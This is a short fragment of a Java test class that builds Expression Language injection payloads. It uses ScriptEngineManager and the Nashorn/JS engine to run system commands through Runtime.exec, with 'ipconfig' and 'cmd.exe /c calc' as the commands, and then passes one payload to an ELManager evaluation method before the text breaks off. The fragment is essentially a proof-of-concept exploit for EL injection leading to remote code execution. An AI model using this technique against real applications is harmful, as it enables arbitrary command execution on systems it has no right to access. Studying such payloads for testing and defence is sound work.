| 10 | |
| 11 | public class test3 { |
| 12 | public static void main(String[] args) throws Exception { |
| 13 | String payload = "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"js\").eval(\"var exp='ipconfig';java.lang.Runtime.getRuntime().exec(exp);\")"; |
| 14 | |
| 15 | String poc = "''.getClass().forName('javax.script.ScriptEngineManager')" + |
| 16 | ".newInstance().getEngineByName('nashorn')" + |
| 17 | ".eval(\"s=[3];s[0]='cmd.exe';s[1]='/c';s[2]='calc';java.lang.Runtime.getRuntime().exec(s);\")"; |
| 18 | ELeval(payload); |
| 19 | } |
| 20 | |
| 21 | public static void ELeval(String payload) throws Exception{ |
| 22 | ELManager elManager = new ELManager(); |